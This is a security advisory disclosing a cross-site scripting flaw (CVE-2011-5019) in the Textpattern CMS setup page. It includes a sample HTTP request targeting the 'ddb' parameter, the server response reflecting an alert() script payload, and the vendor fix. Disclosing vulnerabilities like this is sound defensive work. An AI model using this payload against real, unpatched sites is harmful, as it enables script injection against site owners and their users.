TWSL2012-001: Cross-Site Scripting Vulnerability in Textpattern- Content Management System

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Trustwave's SpiderLabs Security Advisory TWSL2012-001:
Cross-Site Scripting Vulnerability in Textpattern Content Management System

Published: 1/03/12
Version: 1.0

Vendor: Textpattern (
Product: Textpattern
Version affected: 4.4.1 before change set 3612

Product description:
Textpattern is an open source content management system originally
developed by Dean Allen. While it is often listed among weblogging tools,
its aim is to be a general-purpose content management system suitable for
deployment in many contexts. Textpattern is written in PHP using a MySQL
database backend.

Credit: Jonathan Claudius of Trustwave SpiderLabs

Finding 1: Cross-Site Scripting Vulnerability
CVE: CVE-2011-5019

After extracting the Textpattern source files on to a web server, but
before the application is fully installed, cross-site scripting
vulnerabilities are present in the '/textpattern/setup/index.php' page.


Performing XSS on "ddb" parameter


POST /textpattern/setup/index.php HTTP/1.1

Host: A.B.C.D
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.6; rv:8.0.1)
Gecko/20100101 Firefox/8.0.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip, deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Proxy-Connection: keep-alive
Referer: http://A.B.C.D/textpattern/setup/index.php
Content-Type: application/x-www-form-urlencoded
Content-Length: 156



HTTP/1.1 200 OK
Date: Sat, 10 Dec 2011 02:46:44 GMT
Server: Apache/2.2.15 (CentOS)
X-Powered-By: PHP/5.3.2
Content-Length: 674
Connection: close
Content-Type: text/html; charset=utf-8


<div align="center"><p>Checking database
<strong><script>alert('123')</script></strong> does not exist or your
specified user does not have permission to access it.</p>

Remediation Steps:
Textpattern change set 3612 includes a fix for this security issue. Upgrade
to the latest version.

Revision History:
12/23/11 - Vulnerability disclosed
12/23/11 - Patch released by vendor
1/03/12 - Advisory published

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